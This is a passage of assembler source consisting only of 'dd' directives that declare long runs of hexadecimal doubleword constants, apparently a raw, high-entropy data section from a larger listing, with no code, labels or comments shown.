dd 0DAEF1500h, 0DD8766C5h, 63115027h, 9A20C388h, 58844C1h
dd 5B3CA853h, 85C9222h, 8C0004D2h, 0B7D087E7h, 7AEEF7h
dd 44DFAF2Ch, 80022419h, 0A0BDEF4h, 85B86E8Ah, 0E8A8B45Ch
dd 8C36E8h, 6569C57Ah, 0F19C9526h, 0B2FC4B1Eh, 5260B9C0h
dd 15DCB0ACh, 0A8BB2C77h, 0F8706C00h, 0B8F60D38h, 0C7C8E760h
dd 0A4074BE4h, 932B00F0h, 3412E9D0h, 0FA007B78h, 0D7F6469Dh
dd 24B0F01Ah, 0A5B04067h, 0CA11B01Dh, 8BB06580h, 527C6927h
dd 0C4E8FD24h, 0A46B2C8Dh, 75218832h, 94421BEh, 1859B198h
dd 4518A3D9h, 68382C0Bh, 0D9A45960h, 9871835h, 0BBD112B9h
dd 3400E0C6h, 636D3B71h, 5AFDA6BAh, 0BB40C0E0h, 0D8CA6E25h
dd 0B38084B0h, 877B1DA9h, 0D30400ABh, 7C69C095h, 0E80931CEh
dd 7030FB40h, 0FFC7724h, 0F51260A6h, 1F7C0B45h, 0D8AA0ABCh
dd 20CDA5D8h, 0C0D7F8C0h, 2225F26Ch, 3B13B998h, 9CD571FFh
dd 0E39F308Eh, 0A54EAF02h, 2F144C18h, 0FC102DAEh, 0C3743AACh
dd 10E568DEh, 0C2F528h, 2F142A6Ah, 0F6522584h, 89F0E0FAh
dd 0CB4ED403h, 234CD83Eh, 909FD98h, 0FAA60469h, 0F7C0C4B2h
dd 0A9446EF1h, 7255A600h, 490922B2h, 0B33E3CEAh, 0E85982FBh
dd 0F0EFB200h, 2511488h, 8E7677F9h, 50E1BBF1h, 0E1201762h
dd 0B0C54486h, 0DFD72794h, 0C991389Dh, 48D30D80h, 61009FD5h
dd 0A1C0C5A3h, 924425AEh, 0B0B70A8Ch, 96E0ABA9h, 0C98D008h
dd 0C300485Eh, 301CBCCCh, 5ABE7EF8h, 26F021B0h, 1996F020h
dd 50B9E91Eh, 20706E4Fh, 1A39A13Bh, 59A8A23Fh, 18A3796Ch
dd 432C3415h, 12E409BAh, 0DE91BCB5h, 0C31B5E80h, 5827EB1Ch
dd 0A0E080A3h, 0BCC681BBh, 784676D0h, 11FD9300h, 0CC0D6FF0h
dd 7D2B3A1Ah, 8CD61B0h, 0EC418438h, 37A2A866h, 81F0D833h
dd 0E9AF0B9Ah, 28C88CEBh, 0FAF8D1B3h, 149005EEh, 26D97B60h
dd 2EE3DF15h, 1658D398h, 68E0B1A3h, 0A66810D4h, 23102F4Bh
dd 17C105A3h, 7C2DC2F6h, 194FB050h, 2A7C482h, 0E8728C80h
dd 0CC851F00h, 2F58BF37h, 5CE90025h, 0C4EE0723h, 0C6014462h
dd 3B2A1154h, 3B7A50FBh, 1302368h, 7C4657F2h, 1000EFC9h
dd 66E18D76h, 14F13058h, 782C7BCAh, 38CD8BCh, 0B30D43A2h
dd 2C98355Fh, 9E4A87A4h, 0C58AA091h, 7BE332C8h, 5F8B001Ch
dd 96A814F1h, 0B7558C49h, 0BBEE484h, 41E20A07h, 7280CF20h
dd 77215565h, 87C4054Bh, 0A42D77F1h, 0AB167844h, 2CF2CEC9h
dd 58EA137Eh, 0C12CC743h, 0F2B61223h, 357968D9h, 8D009618h
dd 296146E6h, 0BEC09C24h, 86670920h, 3071F4D1h, 0B00D418h
dd 0E74BFA73h, 0B8663Ch, 298AE1E0h, 32F34C5Ch, 0D40DAB18h
dd 38EE7D0h, 0BAEBBC7Dh, 0BDA08BF6h, 0E14A3D36h, 75E3E031h
dd 697AB079h, 0D48298A0h, 230F680Bh, 85FF8DEDh, 0DFE8C0E8h
dd 0DC32008Ch, 2A271342h, 795FEF43h, 25B09C4Eh, 0BC406DA6h
dd 0DB104BDAh, 20F09076h, 0FD046CC3h, 8DAE2ABEh, 8B4E40BCh
dd 0C037C890h, 0C5385B06h
dd 2AF8A87Dh, 0FDA78E0Fh, 402737ECh, 0D2D88419h, 0B6D3C4ECh
dd 697A050h, 30277B47h, 10AAB11h, 0A626A588h, 5A3F1CE0h
dd 0A5C49C84h, 0C18D8088h, 76F5A3E0h, 0FF947553h, 77B638E8h
dd 0D8EE3D29h, 5320A020h, 0C5CE3841h, 18E7C025h, 0DAD64110h
dd 204D809Ch, 0A937E0h, 1124F997h, 0D18743Dh, 14CBA44Fh
dd 6FC037C8h, 31F0F95h, 27EB065Bh, 4798FFF6h, 5F09E54Ah
dd 56D6A6h, 0B92AA55Ch, 0FDF6001Fh, 0E7554CDBh, 36001A7Eh
dd 5A94576Dh, 1FE4BEC5h, 919A11Bh, 447B2D0Dh, 6480E525h
dd 0A44A60D8h, 0FB4200CFh, 0E83249Eh, 5206B0F3h, 23958C06h
dd 40995FC8h, 88E1F0BCh, 155CE7AAh, 5FA33AE0h, 0ACB20C13h
dd 0CA307AF2h, 0EE9B0039h, 0AD93AF98h, 21C07507h, 621186C6h
dd 59DA0078h, 0D39341FAh, 280B4482h, 8F0E13Bh, 4674C874h
dd 0DB3A0C35h, 92FC4262h, 0F5DC12ACh, 132080C0h, 949EDBA1h
dd 0E41CE5A5h, 0DED16044h, 3BAF00B0h, 5EE2578Bh, 4A27ACCBh
dd 56A4C24Bh, 4CD1CBECh, 0B118C979h, 0FFA9C104h, 0BCA0FBh
dd 0C804CE4Fh, 4797C079h, 1C0150CCh, 0B33EA34Eh, 5080B25Dh
dd 6ABE6926h, 0A14F0D96h, 3A239C2Fh, 34ADE700h, 61533DBAh
dd 406659D1h, 423465D3h, 0D45C3A38h, 4A4146C4h, 70C89358h
dd 2C3C5138h, 33CB1852h, 789C9B38h, 2FF5F49h, 0EB9F8574h
dd 5A493C7Ch, 0D4AE44A8h, 0C26045F4h, 7E417680h, 8010BC56h
dd 6F3D9FE9h, 672499EBh, 810E9804h, 0B81440DEh, 90951F8Bh
dd 0ECD9C091h, 2A7AFFB4h, 6A0B29E4h, 6078EDA7h, 25DD1A70h
dd 48520865h, 48190D02h, 406AACE0h, 56FE1Dh, 0DEFF9069h
dd 6ED7D02Fh, 7A8E1F1Ch, 2A87933Fh, 0B5EF7C04h, 4807AC21h
dd 87EF0FD8h, 3BD6A219h, 0F9E99600h, 0DABE48F3h, 32CA8105h
dd 8C74D70Fh, 434B3B50h, 0E08B7482h, 30514458h, 3D49A709h
dd 0D57B5822h, 156B8F1Eh, 0DF7A1D7Ah, 0AB6D4F40h, 4256632h
dd 22A677E2h, 63C8CCE9h, 3F751720h, 24AF30D6h, 0CD56BC20h
dd 22181D62h, 0BC31FC08h, 0BCF2B83Dh, 348D0054h, 32FF9779h
dd 762F8704h, 0F8A4DA33h, 0EB20000Dh, 50E39108h, 0F0A023E7h
dd 400151A3h, 0E9D37489h, 44285320h, 1AA9F628h, 0F4F56446h
dd 320470C4h, 929A085Bh, 44C850CEh, 59B133C1h, 7962B03Bh
dd 725D0D16h, 0FE3B8C8h, 3EEF8186h, 645C57A0h, 16008D1Ah
dd 0D5EE6083h, 9670A1B0h, 0AB8BE078h, 0C601BDD8h, 5369AF60h
dd 0B89186D4h, 44234FCAh, 1A76F0C4h, 0B5D072Fh, 104D226Dh
dd 131F3E49h, 0CD2C1C27h, 0DF6BC06Ch, 0FCB0BA2Ah, 97B2DC20h
dd 0DDA43818h, 0C880B84Fh, 9D20557Ch, 0FE15B4A0h, 640B0F24h
dd 51103D7Eh, 1873797Ch, 9CEB0903h, 0D80F6DDDh, 2869DEA9h
dd 0CC01C1C1h, 0B7BD654Bh, 0A6D40318h, 68989664h, 0C27ED577h
dd 168C7F58h, 48C2A971h, 7144DB18h, 0FA3C32Fh, 432C3AC8h
dd 0CC45A325h, 50EA4CA8h, 3C4B2120h, 113E9C89h, 1685D4F8h
dd 3BECC165h, 0C19062DAh, 0C4651EAEh, 1F508D60h, 856DF737h
dd 528DB8Ah, 94B0F5A3h, 0BDA0AC58h, 38B21C72h, 4AB7A30h
dd 0BB3F1719h, 25CCEC85h, 57CC4EAh, 0FCF5DF06h, 1FC4C8C9h
dd 98684441h, 932C2010h, 0CFB224E2h, 38B29330h, 0BC96DD47h
dd 671492A5h, 4C54BC89h, 0BEA066A5h, 0E017DC24h, 0A805181Bh
dd 946F87B6h, 0EBB0CD01h, 3FC28778h, 4B7A822h, 0C4C4B9E2h
dd 7600BAB1h, 12E9F7F0h, 97092614h, 7ED312A0h, 0B2336490h
dd 3D9E8028h, 30B671C0h, 0F94FACEh, 0B52E08BCh, 376B5200h
dd 149754E5h, 6C5B2098h, 465E44BEh, 93520030h, 2C84964Eh
dd 0EED807F3h, 665851B6h, 127E8DCh, 6074ED86h, 0FC740746h
dd 56D1B07h, 0F9F06CD2h, 178BDB23h, 8B1C9CF4h, 0CECA88B0h
dd 0DC51B889h, 0F232C48Fh, 2BACD040h, 0EA1CFAD1h, 28872437h
dd 7B4674C8h, 87739B00h, 2807154Ch, 0E99C530Eh, 0F23E8978h
dd 0C6F92058h, 0B16C6902h, 0D9B4B8A9h, 187CD970h, 0E0725897h
dd 0E3488717h, 303AB2B4h, 4F0584E1h, 0FE0921E3h, 5114DC87h
dd 14EDDE02h, 172D18F4h, 87A09148h, 0A642F4E3h, 16C0541Ah
dd 23482F8Ah, 5ADD017Fh, 0AFE981D4h, 0E4E06540h, 0A98F61CFh
dd 16F5BF8h, 1488E984h, 63640EA6h, 0BE5507D8h, 0BC10401Eh
dd 734D3B9h, 3FEBABA5h, 0BC5FD46Fh, 908A80E0h, 5B747Bh
dd 1D992332h, 0F2F619AFh, 2716BB00h, 0A5594328h, 0A6630CD1h
dd 8D392632h, 89767701h, 23DC6A52h, 342E1071h, 0BCE4EC14h
dd 37268C34h, 8F05169Dh, 9CC08E12h, 952C5444h, 2C15A0B2h
dd 0E8803B11h, 0B58CEA10h, 0D6182F60h, 97A7D558h, 0F778A825h
dd 6350B090h, 74DD12A7h, 0C9301FA4h, 0E0542762h, 0B72F1504h
dd 6E6E68B5h, 0A7E60154h, 9EACF48Ah, 53D4422Bh, 0D4806BEFh
dd 8EC27346h, 8A12E800h, 455CA687h, 0D8A204E0h, 0A82A5B3Ch
dd 62E70978h, 0A45079E2h, 51EF3F9Ch, 0F0182585h, 0B84E2CD4h
dd 8A00386Eh, 0FD0C5BF0h, 945EF5A4h, 81EC8815h, 0B65025C4h
dd 5743699Ch, 0AEC4426Ah, 975F1FB3h, 87CF113Ch, 2250C359h
dd 0B8F2CDF7h, 0CBF320B4h, 2F8BF13Ch, 0C59C0999h, 60DFE41Ch
dd 28F28B37h, 4498FC18h, 0DD2F122Ch, 2CA00871h, 0C4900FD6h
dd 0C0FC3A2Ah, 0B28284A0h, 800216A3h, 0B80D3CE4h, 71FCDA8Fh
dd 115409D6h, 0E500C8E9h, 0E0C18AD2h, 30CCBF00h, 799891E8h
dd 31BD608Fh, 4D1894A9h, 5EB2BF0Ah, 5200D6D5h, 0E18F0C16h
dd 0B0C505B3h, 1CBAD460h, 6926C490h, 4B54BC8Ch, 0CDC0B4DEh
dd 0DAE73294h, 6F274D01h, 0D995533Dh, 11E80F7Bh, 0E7B08E1Ch
dd 0B19C78D8h, 0A508DC15h, 9896268Ch, 54A9803Bh, 34590FF3h
dd 0E57D00C4h, 11178C7Bh, 0BF0052A6h, 87F96B8Ah, 99BC0E1Dh
dd 187CD1C4h, 11160FB9h, 60732461h, 90C5A65Ch, 50903AE9h
dd 20302F11h, 0A59D3BE3h, 0F4A91F38h, 0DA0184ACh, 86BF46C6h
dd 0C07D25A9h, 0BC18085Fh, 71B45BA5h, 945FE8EEh, 5742A303h
dd 93EBBF74h, 5591C23Fh, 0F9082881h, 8C3B3FA1h, 0A900DA23h
dd 7810B288h, 265B00D7h, 3CBDC7B7h, 0B64BF367h, 0AB21A8CAh
dd 50FDE860h, 0C0B64BB3h, 86CA6B8h, 0E9D1A701h, 89A1B571h
dd 4B09B2D0h, 0DAA8C8A9h, 0D929F166h, 9188021h, 488C63C4h
dd 24A26CDDh, 99004CD6h, 662A6001h, 4D48F42Fh, 681278C3h
dd 0BCFCBC77h, 43258C7Ch, 2E5C1820h, 79301076h, 0AB3E0B29h
dd 97E07251h, 254368B9h, 0F2DC7214h, 0D10530DEh, 660DE025h
dd 0BBA015D0h, 0EA09EC9Dh, 2CC2AB58h, 206F705Ch, 602A78E0h
dd 2DA60EB7h, 0A4C0768Dh, 0C9EA2CB0h, 3AAA800Ch, 456D127h
dd 0CC291B38h, 0C1B0A881h, 0A7A8DDA4h, 0E3399C39h, 0F4102C40h
dd 2A0BC94Ch, 0D01F6E6Bh, 90963091h, 12CB1FC8h, 2B937F02h
dd 0FEAF78E8h, 138BBA50h, 0F58297BDh, 48FCB198h, 0DD4676h
dd 4BC514FCh, 16EA533Bh, 0F120C42Eh, 34372E9Ch, 0D874FDB1h
dd 0FB4BE182h, 532B8C4Eh, 737150D0h, 0F7D4E43Ch, 2EBBC00h
dd 0AF7A8E76h, 0AEDB0003h, 32501AC6h, 0B7BD2864h, 130A166Ch
dd 93CAD7Ch, 51EF3DAAh, 11B42600h, 0D7007F45h, 6162511Bh
dd 2DBDAB33h, 0A8B79267h, 60CF208Eh, 0A894FC65h, 201890F7h
dd 1A14B078h, 12C87926h, 0E0F55438h, 34AC3C2Dh, 16DCAD48h
dd 3CA45BA0h, 0EFB30926h, 4C026B14h, 590B6043h, 0FE620020h
dd 91E44049h, 0C151EB00h, 0FC1ACF5Bh, 0CC56016Dh, 0AEB0E776h
dd 1831BB6Ch, 0C3F00717h
dd 0BC6D97C5h, 16808DC0h, 6F63122Ah, 0D2B4E24Bh, 0FF823C9Ah
dd 0BC529FBEh, 0AAAED100h, 0A0E03ED5h, 2CB320E6h, 0A352DF20h
dd 7ADCA2CCh, 4A5F2154h, 0F121FE9Dh, 17918C2h, 809829EAh
dd 0E8FE2E41h, 8FEEBAAEh, 2694209Dh, 1F179DF9h, 197FF53Ah
dd 6AA36C5Ch, 0C84CBC1h, 9582CBBh, 9F28510Bh, 0EC328CC2h
dd 7F795859h, 0A30B2F18h, 8FDAC1A6h, 44F192F8h, 7FEC1478h
dd 0A7B6048Ch, 0ED1C0F83h, 0FC2ED3A0h, 0EF1DCD23h, 0A5C08EC0h
dd 9E09C8Ch, 41B33F10h, 96818876h, 38873BDh, 0C82DB888h
dd 7F586A01h, 46F09C0h, 8B265BCh, 48F11161h, 8C38E8B8h
dd 18FD1526h, 3C262B90h, 0ACC71204h, 8C7DECC8h, 995A0603h
dd 2468A5B1h, 884BD19h, 0F60D6137h, 0FC60182Eh, 8A794BB9h
dd 0B8B64EC8h, 0A01DFDE0h, 455DC200h, 0ADCE1B8h, 1ECD008Ch
dd 0A118B667h, 0DFEC2A38h, 60B0ED25h, 253B28FCh, 0B0F9410Bh
dd 0EA1834D9h, 0E8880400h, 11B0C7A9h, 0BB0D153Dh, 51026827h
dd 4CBE9D92h, 0EEA8F460h, 60E7BB01h, 103FDAFh, 1B045C28h
dd 0AFA3E06Dh, 3A2F1C44h, 641CEC21h, 37203084h, 6C241222h
dd 0B8CCB96Dh, 9E362F24h, 2FA564C8h, 0AD6C2600h, 0B9F6C0B5h
dd 4A213E24h, 0BAB8258Bh, 56F8F458h, 8064E93Ch, 0C5B3E837h
dd 0B560EA8Dh, 44D32C89h, 2D179170h, 604804AFh, 19EC7D21h
dd 87BC9860h, 79B1862Bh, 716005Ah, 1CBF3FACh, 7A128D2Ch
dd 0B0E3B521h, 0E174E64Eh, 302E038Ch, 2F77B6C4h, 0C764DC12h
dd 3B8BB4E3h, 0B5C4F067h, 1D803F67h, 8C9C01D5h, 0CD978A7Fh
dd 6907C228h, 36BBC080h, 0E53E80FFh, 1409F70Eh, 2F0FC0Dh
dd 16A47B8h, 6BF4EDA4h, 9064D413h, 1C6EEBh, 17447995h
dd 477669Bh, 0CC07AF7Eh, 0E02CAEABh, 0F85C92F6h, 0CE19C0AEh
dd 9C521FD8h, 688D6626h, 0BD951930h, 909B0F5Dh, 0E7D2A601h
dd 0CC8A4B78h, 75C03AC8h, 95E52D4h, 0AC7D50DDh, 0E7E1C80Fh
dd 0C918A6F7h, 0B8C0D6D6h, 8CBEC9BAh, 7A465Eh, 3157FD6Dh
dd 0E6097F93h, 11600055h, 438E6127h, 5D522D1Ah, 78CB4F88h
dd 0C001E3DFh, 0EC22CE83h, 0AE8C222Bh, 11AAE8E1h, 343227A6h
dd 0BEE18B0Bh, 2C83C800h, 19CF2DDBh, 968E8018h, 97A2C15Ah
dd 82E09C18h, 608C1302h, 542D1FC3h, 921DDC10h, 0E8662F61h
dd 5B059D1Fh, 0B89EC43Dh, 37E775C1h, 7851F44Ch, 0A29FDCFCh
dd 1AE2928h, 52A69708h, 52113380h, 3CD93A30h, 9B3AD09Ch
dd 81348E07h, 17933362h, 24A660DFh, 98A4606Eh, 474A61FCh
dd 0E9FF28E0h, 4AF1ADCCh, 89825DAh, 0A60C4698h, 882A7021h
dd 9027FDA4h, 2D2824A5h, 253844AEh, 4A30ACFCh, 0A4093CB0h
dd 0FADB3DD8h, 3B996B80h, 0A8CCDFE9h, 6F4BC800h, 21D45118h
dd 89B3253Dh, 64090C72h, 0C95950BDh, 2417B5DCh, 60C98283h
dd 2A00A0D0h, 0AE20A98Eh, 0B211B33Ch, 60A095A8h, 7DEDBDDEh
dd 0CB432EEh, 0EE0128B3h, 2AFF4459h, 89533325h, 8FC7C70h
dd 0E38269Bh, 0BDB401A9h, 5D84115h, 2FC33060h, 254B4891h
dd 65FC042Ah, 9426EE2Ch, 71D8C681h, 0B74471C8h, 2F6B0928h
dd 0E4FC8B0Ah, 2C394674h, 10095430h, 6004CAC0h, 25AD2114h
dd 30C46E52h, 0F4421000h, 130F8431h, 0BD5B005Eh, 62D91DC8h
dd 9F09B953h, 7C1B8EEh, 59B9FD34h, 1878D960h, 0C2113F40h
dd 7C9203BCh, 3EA0F09Bh, 0CD99BB15h, 0A29409CCh, 0D6A8DC86h
dd 0E6225400h, 3A7BD404h, 173C12C3h, 0E004B664h, 4B064888h
dd 3944007h, 0A4BD2EA9h, 0F8A5A700h, 0A8F2E667h, 0F47B0110h
dd 432CD96Ah, 72A47C4Bh, 0F6508995h, 0DD4676C0h, 52B6100h
dd 24049714h, 0CA485505h, 38E68677h, 507174B0h, 732CBC25h
dd 285C6950h, 663307D4h, 923D0527h, 405CB8C5h, 0AB39A80Bh
dd 721C5B04h, 0E55F5D40h, 426DDB4Ch, 68082FC0h, 780378h
dd 0A2A3DA4Eh, 0C17EE97Ch, 2CFFAA05h, 0A0E1B33Bh, 0F654346Eh
dd 7C56E0E4h, 3FE00B9h, 8EE2E3CEh, 69257F7Ah, 7871EBh
dd 112FAF1Bh, 0DE133D8Fh, 2901F6BFh, 202ECE2Ah, 78C08A4h
dd 4C299E64h, 0EB05F510h, 8A163DBFh, 0CA80009Bh, 320E9DC2h
dd 8CF87671h, 522A7725h, 8AAA0098h, 8F5A8127h, 972578E3h
dd 2D34C430h, 0B01DA65Dh, 5A83DD91h, 82AD9AE5h, 8C461C1Ah
dd 96DB653Ch, 7D00FBFDh, 0AD9FF330h, 1D8A05D9h, 8064D187h
dd 0BCF7F134h, 0C6542827h, 582093A4h, 9B0B9F14h, 2B80B60h
dd 672A58h, 0D80713ACh, 288C6602h, 0D5B68333h, 3A91809Dh
dd 18DA2B81h, 610FE16Fh, 2520307Ch, 0E4CBF82Dh, 0A047545Ch
dd 4B582550h, 244AC850h, 0C52280E7h, 934490BDh, 393E79CBh
dd 0AE24A38Eh, 709E1E8Bh, 8BF47181h, 5E4D3Dh, 5788836Eh
dd 7ED67B63h, 0A88D0177h, 58A71A80h, 285ECEB5h, 0ED22A4E0h
dd 3400E97Eh, 72E4E67Dh, 88DF113h, 0D3F0B4h, 0A5209BCAh
dd 167E1AECh, 34183A00h, 0C18C69A6h, 0EF111F7Ah, 8A0101B4h
dd 2BAE9CF4h, 0CCF26885h, 8F30CEF2h, 0BA720178h, 2426F8B8h
dd 78422AD4h, 2745B63h, 98822827h, 0A401601Dh, 54E6BCF5h
dd 0AC56E08Ch, 52F4B6AFh, 22073009h, 4438E708h, 0AE8060CBh
dd 78F76B2Fh, 8EFD58E8h, 0CF817609h, 0E44C45F0h, 2C8C60D8h
dd 8E1E0075h, 0E8D9E408h, 0B098AE5Dh, 149D3401h, 22F2E040h
dd 6364306Bh, 858060DFh, 3BB40B18h, 0F8E809D8h, 8171BA7Ch
dd 1FA02A00h, 41CB7D55h, 0EC1A00EBh, 236C86E8h, 0D3005CAFh
dd 0C3F82FB8h, 5F6DA33Eh, 0FDF095A5h, 533C0578h, 53ABD429h
dd 0C8D88F40h, 0F0ECACAh, 0A998E222h, 0A4316111h, 4F6BD08Ch
dd 241C0401h, 7818427Ch, 0AB89DCBFh, 0B8A2952Eh, 3857A08Eh
dd 85524720h, 0C77CCD2Fh, 83D487C0h, 782DB766h, 4A780459h
dd 0C790C3h, 7A11B90h, 37ADB82Ch, 0DCB1134Ah, 5E3C58h
dd 29F82C95h, 0FC0D80BDh, 63BAEB25h, 0ADF80498h, 0AE6BB659h
dd 7D00C07Eh, 2E261D07h, 0E707D7A7h, 15897B6Ch, 24DDC461h
dd 0FB8002Ah, 4D9DE42Ah, 60123D25h, 3CDBA654h, 0EAA50B4Ch
dd 54542012h, 0F8EDDC41h, 3E0CD32Ah, 3FA643F0h, 0C9812E6Eh
dd 0A14C7B06h, 18385160h, 544B486Dh, 0AC658012h, 0B408A580h
dd 0DB8B8228h, 0F0543924h, 3E0DB851h, 7923242Bh, 59EA0900h
dd 1FAB3001h, 7A58A6B0h, 0F1AC0BCAh, 0A091C89Fh, 3EE2D68Eh
dd 0BC68C5BBh, 3A17CC87h, 0F8495613h, 0D5F451B0h, 0E4DCE5ADh
dd 89D56030h, 41152C5Dh, 0B19614FCh, 963CAF40h, 94C541F8h
dd 0BF1A00C9h, 0CF5127B8h, 37D14073h, 0B3807070h, 0B0B207BCh
dd 0DBA768A8h, 4B5070DCh, 5C39A628h, 0E6F7C5ECh, 6B3B2C01h
dd 0AE24CC2Ch, 0A497514Ch, 9B059C79h, 0C8E209DDh, 0A27CF693h
dd 7B44603Ah, 0D9084A20h, 0C6E7E58h, 0C710670Fh, 0C0DE1584h
dd 0A6A21C4Ch, 0EB176804h, 0F8D76440h, 0B12E2181h, 0B8602DF5h
dd 0F9A018BEh, 17FD78D5h, 4C57181Eh, 0F7604CAEh, 99309Ah
dd 347BD01Ah, 98DDB942h, 0C259EB00h, 14D846C1h, 0B08D01F6h
dd 778F01E5h, 28902EC4h, 39BAF40Fh, 8AAE071Fh, 2402DCFCh
dd 0EB43A73Dh, 0E2C8745Ah, 4B21D9E8h, 702A7D0Bh, 4762CC28h
dd 54196369h, 713441CCh, 3079EDF0h, 755FDDF8h, 1D3F4DEh
dd 0D3A4A893h, 852078CBh, 58B8683Dh, 4911EB00h, 612FA7D2h
dd 0FBD0BA95h, 8B2F5078h, 0FAF1800h, 0EEA72BAAh, 80FC9E73h
dd 9EE17460h, 0C2D5836h, 973C6EC6h, 60004B5h, 0FB632CC3h
dd 5A909277h, 0A2F8A322h
dd 123B30CBh, 580BEBECh, 0DA082A33h, 0E8CA401Ch, 40C1E72Ch
dd 0C42625DEh, 0D6832871h, 27B3C1A0h, 18723159h, 59B96825h
dd 76B300D0h, 9B81A205h, 0E1D02C0Fh, 0ED3AE0F9h, 6AA31179h
dd 0CFCE8A8h, 26B02963h, 67121D7Ah, 7CA38953h, 395A007Dh
dd 0D5BBA1BCh, 0CD979EB7h, 0F432E0FCh, 0DC001E01h, 3ED2A34h
dd 0A430A6FEh, 48019D88h, 0F4F952F6h, 44E7928Dh, 8FB44FCCh
dd 3D2A6402h, 591C3A5Dh, 19DC5984h, 18D58BF0h, 0D8087C28h
dd 8D80C551h, 787D1234h, 8DA0B257h, 2C7689FAh, 4A4E2E0h
dd 99887354h, 63145400h, 0DFF66CDBh, 34000E7h, 0BB11FAA7h
dd 9373CDC7h, 0F6E8DCB8h, 80975A7Dh, 0BF78EBDCh, 9CBA9525h
dd 3740BCDCh, 14D6F9Dh, 4BCEF5EEh, 0F09C8446h, 0DD4A0720h
dd 0CFB27CE3h, 60DAD30h, 89B58EBFh, 8F208847h, 0AB3E3D29h
dd 29CC947Ch, 28A81Ch, 0D1BCF10Dh, 4FFA6B27h, 76C8625Ch
dd 1565540h, 0AD3B393Ah, 608F7E77h, 0A540B88Ch, 9F50B0B5h
dd 28487468h, 6E22BF25h, 20BEFB58h, 0CBCADE3Fh, 2A8D012Ch
dd 83EE07ADh, 82FEA04h, 82007823h, 0B48EDD13h, 6AAC0C96h
dd 8BC0682Fh, 0A9F92704h, 78CE21A1h, 72C0DE88h, 0B54B40A9h
dd 99308466h, 349C123h, 17F471h, 5AFFA26Fh, 0CDF60ECEh
dd 0CF203498h, 0BC0C2E2Bh, 0C95930A6h, 6300F0E8h, 99142341h
dd 2C24FF4h, 0FC7D4D82h, 20572677h, 818C0178h, 8F94132Ah
dd 80A0DBF0h, 39D7A68Eh, 2F1373DCh, 0B44AF5A7h, 7B14D061h
dd 54B86016h, 14287685h, 19131C40h, 102826B2h, 2DEED20h
dd 85E330F4h, 0BC54B015h, 0F2554FDCh, 0C26300CCh, 7DDB5EC5h
dd 53AC0098h, 8DB9A2F5h, 665B3231h, 0C167F8C1h, 9D1C226Ah
dd 0B79C8B7Fh, 0EE9507ACh, 84C59101h, 78446ABBh, 0A41C6FB7h
dd 0C70B09A0h, 7E0FC811h, 9CACA440h, 8DCF14h, 9BC89F2Bh
dd 0CA4DF32Fh, 0E7766E2Ch, 1D95E400h, 482C1C16h, 4F12A818h
dd 0B2F0A36Ah, 2B313139h, 68FD8834h, 8A0BA5B8h, 2490492h
dd 501BA8h, 0AF2A3112h, 7820EC90h, 0B0B408A7h, 0EA82FCA8h
dd 0A5C4F758h, 6EEE2E84h, 2755000Ch, 0B419C2ACh, 0FEF600BFh
dd 0A70199EBh, 0CDBDD36Ch, 9629C3B4h, 5E41DCA0h, 6E18A625h
dd 70B5B5A4h, 0C64BD200h, 5CE91EB2h, 5052F280h, 0D1690418h
dd 37E2E2E8h, 0BB6258h, 0CA44D9DBh, 656F098Ch, 0F98FA0B3h
dd 0AF0200FCh, 319EE15h, 0C4109D6Dh, 0AAEA6AD3h, 2B82521Fh
dd 0C54B347h, 0F0D091F3h, 0B786018Eh, 8563BCEDh, 0B131895Fh
dd 0B1806FFDh, 792711BEh, 0D047B1Fh, 31EAEDA3h, 99342480h
dd 29A80416h, 0C48EBC10h, 2F4081C4h, 758A08CFh, 609090D9h
dd 0EFD35176h, 3B006987h, 0C3B0D192h, 3A580E07h, 0BC811539h
dd 0B240DA27h, 60D92A9Dh, 9F4F58D0h, 25B384A2h, 3295BCF8h
dd 0E037DF8Ch, 6F6C9707h, 40E09F30h, 0A8B1252Dh, 0AF92EC71h
dd 0B850F41Fh, 0A73BB604h, 0AF14946Eh, 5901006Bh, 20EE6E97h
dd 4003EC5Ch, 0C80F2F25h, 3D8D819Ch, 0C5BD3FF8h, 70870D25h
dd 60745986h, 314674h, 9A6296E9h, 903EF66h, 263D1F28h
dd 0E521EC58h, 187AF1D0h, 0A34D0290h, 0DB0E1B0Bh, 0A41DC4FEh
dd 84512521h, 0EA3F5811h, 0D1B33D93h, 6AB7D748h, 3B2C5CC0h
dd 0B7896EBh, 0D8F0900Bh, 58C8B120h, 0F4808008h, 49C7DF6Fh
dd 52CE200h, 4FF81D52h, 8CC5019Ch, 533D040Ch, 5B147419h
dd 0AEB1140Ch, 0BE0FB918h, 0EA8B80C8h, 0E638F52Fh, 0F3546C00h
dd 1142BFF9h, 0BB14043Dh, 81646BA6h, 3E56806Ch, 40CB64CCh
dd 0F0919935h, 0E5FE0Bh, 38937041h, 12D51CB5h, 0FC304008h
dd 96F3D16h, 7979A660h, 5447ADh, 55F4ED8Bh, 7A72B3E5h
dd 9B394805h, 0A0588F21h, 12EF6571h, 0E0736ACDh, 0CA001D3Ch
dd 9CEB8A79h, 19E97F3Dh, 902ADF40h, 0C1B4289Eh, 49AB3D9Fh
dd 7E18917Fh, 28132E8Dh, 4CDD5C02h, 3AA602DBh, 8D00A8D2h
dd 6C251481h, 2542CC60h, 8C5979ABh, 0B4E2CE92h, 0AEAF8E03h
dd 0D94BEA09h, 650064B2h, 0AD554180h, 0DDE02C53h, 0FB644401h
dd 0A0C79270h, 8DC3DC4h, 610B332Ah, 44AC9434h, 48154C22h
dd 9B47B40h, 2239B8BEh, 0C350E204h, 0A3183A99h, 0C527FC3Ch
dd 48C7A422h, 2DA9180Fh, 8F400BF4h, 0D0561418h, 28CD9108h
dd 163F0478h, 0AB675843h, 14B3CC12h, 65348D00h, 0C57C879Fh
dd 6DF88995h, 0F013C71Ch, 0A294E304h, 82278A07h, 4D5B1045h
dd 80556430h, 60548C48h, 0E4F638B6h, 38C703C9h, 9EFF4972h
dd 7C00E17Eh, 0F655980Ch, 4A188950h, 0C87C8F56h, 1DCC07Ah
dd 0ECEFFB44h, 144AEF34h, 6BD664B6h, 80D090Ch, 894020AFh
dd 1024419h, 39A2812h, 7B6F32ACh, 75F2D402h, 0DBACCA2Fh
dd 771470C8h, 90061E0Eh, 0F93D6BBCh, 40642AD0h, 0AC982268h
dd 54A30771h, 80BF8FF7h, 0DDCEA6D3h, 8800AA7Fh, 0BE5B1A5Eh
dd 4AF2E8EEh, 8FFCCCB9h, 866C48BFh, 1C1300E9h, 7ADA422Bh
dd 5D12E7F2h, 9CAC0D06h, 0DF4C8BD2h, 0DD2104E3h, 2A8B81A0h
dd 0B278F864h, 1408666Fh, 10309DD0h, 125EF51Fh, 0F91C16DFh
dd 99AC44h, 0D3C9E9A9h, 800C3C04h, 34B7255Ah, 979D4922h
